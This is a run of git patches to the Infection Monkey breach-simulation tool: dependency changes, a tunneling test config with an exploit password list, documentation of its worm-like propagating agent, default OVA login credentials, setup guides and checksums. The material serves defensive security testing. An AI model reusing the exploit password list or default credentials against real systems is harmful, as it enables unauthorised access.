1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index e478095ac..a6565b2da 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -16,4 +16,5 @@ pypykatz==0.3.12 pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' +urllib3==1.25.8 git+https://github.com/guardicode/ScoutSuite From e8c03f9bc4e23e223a6241bfbb5f59f927b8b3bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Mar 2021 16:53:31 +0200 Subject: [PATCH 448/466] Fixed tunneling test configuration template --- envs/monkey_zoo/blackbox/config_templates/tunneling.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index ac735eea4..ac46eb110 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -16,6 +16,8 @@ class Tunneling(ConfigTemplate): "10.2.1.10", "10.2.0.11", "10.2.0.12"], + "basic_network.scope.depth": 3, + "internal.general.keep_tunnel_open_time": 180, "basic.credentials.exploit_password_list": ["Password1!", "3Q=(Ge(+&w]*", "`))jU7L(w}", From 9f839c1743c184a550bd0792cf7ebae7c7a06b23 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 23 Mar 2021 14:15:07 +0200 Subject: [PATCH 449/466] Removed outdated ScoutSuite setup from deployment scripts --- deployment_scripts/deploy_linux.sh | 5 ----- 1 file changed, 5 deletions(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 718773fad..408aa3148 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -66,7 +66,6 @@ MONGO_PATH="$ISLAND_PATH/bin/mongodb" ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey" MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin" -SCOUTSUITE_DIR="$monkey_home/monkey/common/cloud/scoutsuite" if ! has_sudo; then log_message "You need root permissions for some of this script operations. \ @@ -142,10 +141,6 @@ sudo apt-get install -y libffi-dev upx libssl-dev libc++1 requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" ${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error -log_message "Installing ScoutSuite requirements" -requirements_scoutsuite="$SCOUTSUITE_DIR/requirements.txt" -${python_cmd} -m pip install -r "${requirements_scoutsuite}" --user --upgrade || handle_error - agents=${3:-true} # Download binaries if [ "$agents" = true ] ; then From 9c8e0a8270af82aa647244a43f35f9ddaa51fda6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 23 Mar 2021 14:15:57 +0200 Subject: [PATCH 450/466] Removed unnecessary explicit ScoutSuite import in monkey spec file --- monkey/infection_monkey/monkey.spec | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index f9b656611..6248f4d2b 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -79,11 +79,9 @@ def get_linux_only_binaries(): def get_hidden_imports(): - imports = ['ScoutSuite'] + imports = ['_cffi_backend', '_mssql'] if is_windows(): - imports.extend(['_cffi_backend', 'queue', '_mssql']) - else: - imports.extend(['_cffi_backend', '_mssql']) + imports.append('queue') return imports From c612e7e4b52ff86f8b0e42567dd03a9a2a6494c0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 23 Mar 2021 16:58:26 +0200 Subject: [PATCH 451/466] Added simplejson requirements to monkey requirements --- monkey/infection_monkey/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index a6565b2da..069d1ce07 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -18,3 +18,4 @@ requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' urllib3==1.25.8 git+https://github.com/guardicode/ScoutSuite +simplejson From 17504c227b2dfe49505cfed63d4e13cfe445f7c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Mar 2021 12:48:51 +0200 Subject: [PATCH 452/466] Improved home page documentation by adding explanation about how monkey works technically --- docs/content/_index.md | 27 ++++++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index f363f7243..4b3563a46 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -10,16 +10,33 @@ draft: false ## What is Guardicore Infection Monkey? -The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island Command and Control server. +The Infection Monkey is an open source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. +Infection Monkey will help you test implemented security solutions and will provide visibility of the internal network through the eyes of an attacker. + +Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). ![Infection Monkey Documentation Hub Logo](/images/monkey-teacher.svg?height=400px "Infection Monkey Documentation Hub Logo") -The Infection Monkey is comprised of two parts: +## How it works -* Monkey - A tool which infects other machines and propagates to them. -* Monkey Island - A dedicated UI to visualize the Infection Monkey's progress inside the data center. +Architecturally Infection Monkey tool is comprised of two parts: -To read more about the Monkey and download it, visit [our homepage](https://infectionmonkey.com/). +* Monkey Agent (Monkey for short) - a safe, worm like binary program which scans, spreads and simulates attack techniques on the **local network**. +* Monkey Island Server (Island for short) - a C&C web server which serves GUI for users and interacts with Monkey Agents. + +User runs Monkey Agent on the Island server machine or distributes Monkey Agent binaries on the network manually. Based on +the configuration parameters, Monkey Agents scan, propagate and simulate attackers behaviour on the local network. All of the +information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. + +## Results + +Results of running Monkey Agents are: + - A map which displays how much of the network attacker can see, services accessible and potential propagation routes. + - Security report, which displays security issues Monkey Agents found and/or exploited. + - Mitre ATT&CK report, which displays the outcomes of ATT&CK techniques Monkey Agents tried to use. + - Zero Trust report, which displays violations of Zero Trust principles that Agents found. + +More in depth description of reports generated can be found in [reports documentation page](/reports) ## Getting Started From 9dfebe24600a4b469518bc4f76af0c8329f1b5af Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 08:31:54 -0400 Subject: [PATCH 453/466] docs: Fix FAQ links by removing emojis Fixes #995 --- docs/content/FAQ/_index.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 89bbf8aba..2d46310cd 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -7,7 +7,7 @@ pre: " " Here are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). -- [Where can I get the latest Monkey version? πŸ“°](#where-can-i-get-the-latest-monkey-version) +- [Where can I get the latest Monkey version?](#where-can-i-get-the-latest-monkey-version) - [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit) - [How to reset the password?](#how-to-reset-the-password) - [Should I run the Monkey continuously?](#should-i-run-the-monkey-continuously) @@ -24,9 +24,9 @@ Here are some of the most common questions we receive about the Infection Monkey - [After I've set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) - [How can I make the monkey propagate β€œdeeper” into the network?](#how-can-i-make-the-monkey-propagate-deeper-into-the-network) - [The report returns a blank screen](#the-report-returns-a-blank-screen) -- [How can I get involved with the project? πŸ‘©β€πŸ’»πŸ‘¨β€πŸ’»](#how-can-i-get-involved-with-the-project) +- [How can I get involved with the project?](#how-can-i-get-involved-with-the-project) -## Where can I get the latest Monkey version? πŸ“° +## Where can I get the latest Monkey version? For the latest **stable** release for users, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! @@ -167,7 +167,7 @@ This is sometimes caused when Monkey Island is installed with an old version of - **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). - **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of mongodb using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Island again and everything should work. -## How can I get involved with the project? πŸ‘©β€πŸ’»πŸ‘¨β€πŸ’» +## How can I get involved with the project? The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation](../development) for more information. From bae0ed38a1249a03bd5aad212c3ca162ec39df1f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Mar 2021 14:44:09 +0200 Subject: [PATCH 454/466] Moved elastic port to HTTP ports to fix a bug of "All web-ports are closed" --- monkey/monkey_island/cc/services/config_schema/internal.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 156dae7ad..f6b3523f0 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -159,7 +159,8 @@ INTERNAL = { 8080, 443, 8008, - 7001 + 7001, + 9200 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -181,7 +182,6 @@ INTERNAL = { 443, 8008, 3306, - 9200, 7001, 8088 ], From 66ce163067be5359eeefa88c65b238f639077592 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Mar 2021 15:20:34 +0200 Subject: [PATCH 455/466] Bumped version number to 1.10 --- monkey/common/version.py | 2 +- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/version.py b/monkey/common/version.py index c4e38239e..5e8dd4bf4 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -3,7 +3,7 @@ import argparse from pathlib import Path MAJOR = "1" -MINOR = "9" +MINOR = "10" PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 618f02d5e..1cc781c03 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "1.9.0", + "version": "1.10.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { From 869d29029629b2020b03c1401219a1b98e703292 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Mar 2021 16:29:44 +0200 Subject: [PATCH 456/466] Fixed typos and improved wording in homepage of documentation hub --- docs/content/_index.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 4b3563a46..7d739d6f5 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -10,8 +10,8 @@ draft: false ## What is Guardicore Infection Monkey? -The Infection Monkey is an open source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. -Infection Monkey will help you test implemented security solutions and will provide visibility of the internal network through the eyes of an attacker. +The Infection Monkey is an open-source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. +Infection Monkey will help you validate existing security solutions and will provide a view of the internal your network from an attacker's perspective. Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). @@ -19,24 +19,24 @@ Infection Monkey is free and can be downloaded from [our homepage](https://infec ## How it works -Architecturally Infection Monkey tool is comprised of two parts: +Architecturally, Infection Monkey is comprised of two parts: -* Monkey Agent (Monkey for short) - a safe, worm like binary program which scans, spreads and simulates attack techniques on the **local network**. -* Monkey Island Server (Island for short) - a C&C web server which serves GUI for users and interacts with Monkey Agents. +* Monkey Agent (Monkey for short) - a safe, worm-like binary program which scans, propagates and simulates attack techniques on the **local network**. +* Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. User runs Monkey Agent on the Island server machine or distributes Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate attackers behaviour on the local network. All of the +the configuration parameters, Monkey Agents scan, propagate and simulate attackers behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results -Results of running Monkey Agents are: - - A map which displays how much of the network attacker can see, services accessible and potential propagation routes. - - Security report, which displays security issues Monkey Agents found and/or exploited. - - Mitre ATT&CK report, which displays the outcomes of ATT&CK techniques Monkey Agents tried to use. - - Zero Trust report, which displays violations of Zero Trust principles that Agents found. +The results of running Monkey Agents are: + - A map which displays how much of the network an attacker can see, what services are accessible and potential propagation routes. + - A security report, which displays security issues that Monkey Agents discovered and/or exploited. + - A Mitre ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. + - A Zero Trust report, which displays violations of Zero Trust principles that Monkey Agents found. -More in depth description of reports generated can be found in [reports documentation page](/reports) +A more in-depth description of reports generated can be found in the [reports documentation page](/reports). ## Getting Started From 1768a580236dcc60597b66b756ec6d52c03a4c6f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Mar 2021 09:11:13 +0200 Subject: [PATCH 457/466] Fixed more typos and style issues with monkey home documentation page --- docs/content/_index.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 7d739d6f5..802df2130 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -11,7 +11,7 @@ draft: false ## What is Guardicore Infection Monkey? The Infection Monkey is an open-source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. -Infection Monkey will help you validate existing security solutions and will provide a view of the internal your network from an attacker's perspective. +Infection Monkey will help you validate existing security solutions and will provide a view of the internal network from an attacker's perspective. Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). @@ -19,13 +19,13 @@ Infection Monkey is free and can be downloaded from [our homepage](https://infec ## How it works -Architecturally, Infection Monkey is comprised of two parts: +Architecturally, Infection Monkey is comprised of two components: * Monkey Agent (Monkey for short) - a safe, worm-like binary program which scans, propagates and simulates attack techniques on the **local network**. * Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. -User runs Monkey Agent on the Island server machine or distributes Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate attackers behavior on the local network. All of the +The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on +the configuration parameters, Monkey Agents scan, propagate and simulate attacker's behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results @@ -33,7 +33,7 @@ information gathered about the network is aggregated in the Island Server and di The results of running Monkey Agents are: - A map which displays how much of the network an attacker can see, what services are accessible and potential propagation routes. - A security report, which displays security issues that Monkey Agents discovered and/or exploited. - - A Mitre ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. + - A MITRE ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. - A Zero Trust report, which displays violations of Zero Trust principles that Monkey Agents found. A more in-depth description of reports generated can be found in the [reports documentation page](/reports). From e17085d75e880b79e50f69ac0798a8b40b420d7b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Mar 2021 14:33:22 +0200 Subject: [PATCH 458/466] Last fix in home docs: attacker's -> an attacker's --- docs/content/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 802df2130..74905e8f2 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -25,7 +25,7 @@ Architecturally, Infection Monkey is comprised of two components: * Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate attacker's behavior on the local network. All of the +the configuration parameters, Monkey Agents scan, propagate and simulate an attacker's behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results From d6b2c4e1c42bb095caeb07cb39fa2739fc080d54 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Mar 2021 09:57:18 -0400 Subject: [PATCH 459/466] docs: update docker setup guide for v1.10.0 --- docs/content/setup/docker.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index fb70347f2..14454bdc6 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -14,11 +14,11 @@ To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`. Once you've extracted the container from the tar.gz file, run the following commands: ```sh -sudo docker load -i dk.monkeyisland.1.9.0.tar -sudo docker pull mongo +sudo docker load -i dk.monkeyisland.1.10.0.tar +sudo docker pull mongo:4.2 sudo mkdir -p /var/monkey-mongo/data/db -sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo -sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.9.0 +sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2 +sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.10.0 ``` ## Upgrading From e197008c2f4357681914d461f7dbaa27285a67a7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 14:37:14 -0400 Subject: [PATCH 460/466] docs: update vmware OVA static IP configuration instructions for v1.9.0 --- docs/content/setup/vmware.md | 52 +++++++++++++++++++++++------------- 1 file changed, 33 insertions(+), 19 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 21522f820..17eadd331 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -16,8 +16,9 @@ tags: ["setup", "vmware"] 1. Log in to the machine with the following credentials: 1. Username: **monkeyuser** 1. Password: **Noon.Earth.Always** -1. It's recommended you change the machine passwords by running the following - commands: `sudo passwd monkeyuser`, `sudo passwd root`. +1. For security purposes, it's recommended that you change the machine + passwords by running the following commands: `sudo passwd monkeyuser`, `sudo + passwd root`. ## OVA network modes @@ -26,37 +27,50 @@ You can use the OVA in one of two modes: 1. In a network with the DHCP configured β€” In this case, the Monkey Island will automatically query and receive an IP address from the network. 1. With a static IP address β€” In this case, you should log in to the VM console - with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging - in, edit the interfaces file by entering the following command in the + with the username `monkeyuser` and the password `Noon.Earth.Always`. After logging + in, edit the Netplan configuration by entering the following command in the prompt: ```sh - sudo nano /etc/network/interfaces + sudo nano /etc/netplan/50-cloud-init.yaml ``` - Change the lines: + Make the following changes: - ```sh - auto ens160 - iface ens160 inet dhcp + ```diff + # This file is generated from information provided by + # the datasource. Changes to it will not persist across an instance. + # To disable cloud-init's network configuration capabilities, write a file + # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: + # network: {config: disabled} + network: + version: 2 + ethernets: + ens192: + - dhcp4: true + - dhcp-identifier: mac + + dhcp4: false + + addresses: [XXX.XXX.XXX.XXX/24] + + gateway4: YYY.YYY.YYY.YYY + nameservers: + search: [gc.guardicore.com] + - addresses: [10.0.0.8, 10.0.0.5] + + addresses: [1.1.1.1] ``` - to the following: - - ```sh - auto ens160 - iface ens160 inet static - address AAA.BBB.CCC.DDD - netmask XXX.XXX.XXX.XXX - gateway YYY.YYY.YYY.YYY - ``` + Replace `XXX.XXX.XXX.XXX` with the desired IP addess of the VM. Replace + `YYY.YYY.YYY.YYY` with the default gateway. Save the changes then run the command: ```sh - sudo ifdown ens160 && ifup ens160 + sudo netplan apply ``` + If this configuration does not suit your needs, see + https://netplan.io/examples/ for more information about how to configure + Netplan. + ## Upgrading Currently, there's no "upgrade-in-place" option when a new version is released. From 5d68bc6e1de4e3a040bb5ec04c8269c00bab4d49 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Mar 2021 12:23:43 -0400 Subject: [PATCH 461/466] docs: update vmware OVA static IP configuration instructions for v1.10.0 --- docs/content/setup/vmware.md | 31 ++++++++++++------------------- 1 file changed, 12 insertions(+), 19 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 17eadd331..c6519672b 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -32,30 +32,23 @@ You can use the OVA in one of two modes: prompt: ```sh - sudo nano /etc/netplan/50-cloud-init.yaml + sudo nano /etc/netplan/00-installer-config.yaml ``` Make the following changes: ```diff - # This file is generated from information provided by - # the datasource. Changes to it will not persist across an instance. - # To disable cloud-init's network configuration capabilities, write a file - # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: - # network: {config: disabled} - network: - version: 2 - ethernets: - ens192: - - dhcp4: true - - dhcp-identifier: mac - + dhcp4: false - + addresses: [XXX.XXX.XXX.XXX/24] - + gateway4: YYY.YYY.YYY.YYY - nameservers: - search: [gc.guardicore.com] - - addresses: [10.0.0.8, 10.0.0.5] - + addresses: [1.1.1.1] + # This is the network config written by 'subiquity' + network: + ethernets: + ens160: + - dhcp4: true + + dhcp4: false + + addresses: [XXX.XXX.XXX.XXX/24] + + gateway4: YYY.YYY.YYY.YYY + + nameservers: + + addresses: [1.1.1.1] + version: 2 ``` Replace `XXX.XXX.XXX.XXX` with the desired IP addess of the VM. Replace From 52601bd7353491cc2ee2697795f7cc29c1e38de3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 10:03:01 -0400 Subject: [PATCH 462/466] job posting --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index 63d4bd37d..3cb5bb194 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,18 @@ The Infection Monkey is comprised of two parts: To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). +## πŸ’₯ We're Hiring πŸ’₯ +We are looking for a strong, full-stack developer with a passion for +cybersecurity to join the Infection Monkey development team. Infection Monkey +is an open-source, automated, breach and attack simulation platform, consisting +of a worm-like agent and C&C server. This is a remote position and is open +world-wide. If you're excited about Infection Monkey, we want to see your +resume. You can learn more about Infection Monkey on our +[website](https://www.guardicore.com/infectionmonkey/). + +For more information, or to apply, see the official job post +[here](https://www.guardicore.com/careers/co/labs/65.D16/full-stack-developer/all/?coref=1.10.r36_60E&t=1617025683094). + ## Screenshots ### Map From 962621aaef4597815e09c134a9b8daf26ba81f5e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 11:22:32 -0400 Subject: [PATCH 463/466] docs: add distro compatibility and focal instructions do debian setup --- docs/content/setup/debian.md | 59 ++++++++++++++++++++++-------------- 1 file changed, 37 insertions(+), 22 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index c2e875b68..b76d27ec0 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -8,33 +8,48 @@ disableToc: false tags: ["setup", "debian", "linux"] --- + +## Supported Distros + +This Debian package has been tested on Ubuntu Bionic 18.04 LTS and Ubuntu Focal 20.04 LTS. + ## Deployment -To extract the `tar.gz` file, run `tar -xvzf monkey-island-debian.tar.gz`. +1. Update your package list by running: + ```sh + sudo apt update + ``` +1. If you are using Ubuntu Focal 20.04, run the following commands to install + Python 3.7: + ```sh + sudo apt install software-properties-common + sudo add-apt-repository ppa:deadsnakes/ppa + sudo apt install python3.7 python3.7-dev + ``` +1. Extract the tarball by running: + ```sh + tar -xvzf monkey-island-debian.tgz + ``` +1. Install the Monkey Island Debian package: + ```sh + sudo dpkg -i monkey_island.deb # this might print errors + ``` +1. If, at this point, you receive dpkg errors that look like this: -Once you've extracted the package, deploy it using run the following commands: + ```sh + dpkg: error processing package gc-monkey-island (--install): + dependency problems - leaving unconfigured + Errors were encountered while processing: + gc-monkey-island + ``` -```sh -sudo apt update -sudo dpkg -i monkey_island.deb # this might print errors -``` + It just means that not all dependencies were pre-installed on your system. + That's no problem! Just run the following command, which will install all + dependencies, and then install the Monkey Island: -If, at this point, you receive dpkg printed errors that look like this: - -```sh -dpkg: error processing package gc-monkey-island (--install): - dependency problems - leaving unconfigured -Errors were encountered while processing: - gc-monkey-island -``` - -It just means that not all dependencies were pre-installed on your system. -That's no problem! Just run the following command, which will install all -dependencies, and then install the Monkey Island: - -```sh -sudo apt install -f -``` + ```sh + sudo apt install -f + ``` ## Troubleshooting From 6693fad0b5c9f033c77a2e201993af5e1052ed45 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 12:18:47 -0400 Subject: [PATCH 464/466] Add empty CHANGELOG.md file --- CHANGELOG.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 CHANGELOG.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 000000000..bcec5d8e9 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,6 @@ +# Changelog +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). + +## [Unreleased] From fad19075a2e5afd3aae734b5e62a670028ff7238 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 12:20:33 -0400 Subject: [PATCH 465/466] Add changelog checklist item to pull request template --- .github/PULL_REQUEST_TEMPLATE.md | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index d5b8193ff..33960d9f2 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -7,6 +7,7 @@ Add any further explanations here. ## PR Checklist * [ ] Have you added an explanation of what your changes do and why you'd like to include them? * [ ] Is the TravisCI build passing? +* [ ] Was the CHANGELOG.md updated to reflect the changes? * [ ] Was the documentation framework updated to reflect the changes? ## Testing Checklist From 6c034f26625e7ba57e15a43e6bb76d28bb6bff5c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 29 Mar 2021 19:16:39 +0300 Subject: [PATCH 466/466] Updated checksums page --- docs/content/usage/file-checksums.md | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index 9c09f570f..b063550ed 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -35,6 +35,24 @@ $ sha256sum monkey-linux-64 ## Latest version checksums +| Filename | Type | Version | SHA256 | +|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` | +| monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` | +| monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` | +| monkey-linux-32 | Linux Agent | 1.10.0 | `a6de7d571051292b9db966afe025413dc20b214c4aab53e48d90d8e04264f4f5` | +| infection_monkey_deb.tgz | Debian Package | 1.10.0 | `534d85c4abc78e2c86a74d8b88759b091b62077dd9e32f02eeb43d716d359ff6` | +| infection_monkey_debzt.tgz | Debian Package | 1.10.0 | `bd01d8482f80990e6cc0ed654c07dbd80da71eebe3dd244365e9bc00f86b1c03` | +| Monkey Island v1.10.0_3593_windows.exe | Windows Installer | 1.10.0 | `ebd2c5627d21dd8670def02c3a5a995f9e799ba567cf4caacd702654264ddf06` | +| Monkey Island v1.10.0_3593_windowszt.exe | Windows Installer | 1.10.0 | `60aaf3b32e5d06c91fe0d4f1b950529517ac33796f67e9ccfef0e8ce1c5372d8` | +| infection_monkey_docker_docker_20210326_171631.tgz | Docker | 1.10.0 | `e4f9c7c5aafe7e38b33d2927a9c0cf6a3ac27858d3d0e3f2252c2e91809a78db` | +| infection_monkey_docker_dockerzt_20210326_172035.tgz | Docker | 1.10.0 | `248640e9eaa18e4c27f67237f0594d9533732f372ba4674d5d1bea43ab498cf5` | +| monkey-island-vmware.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | +| monkey-island-vmwarezt.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | + + +## Older checksums + | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068` | @@ -49,12 +67,6 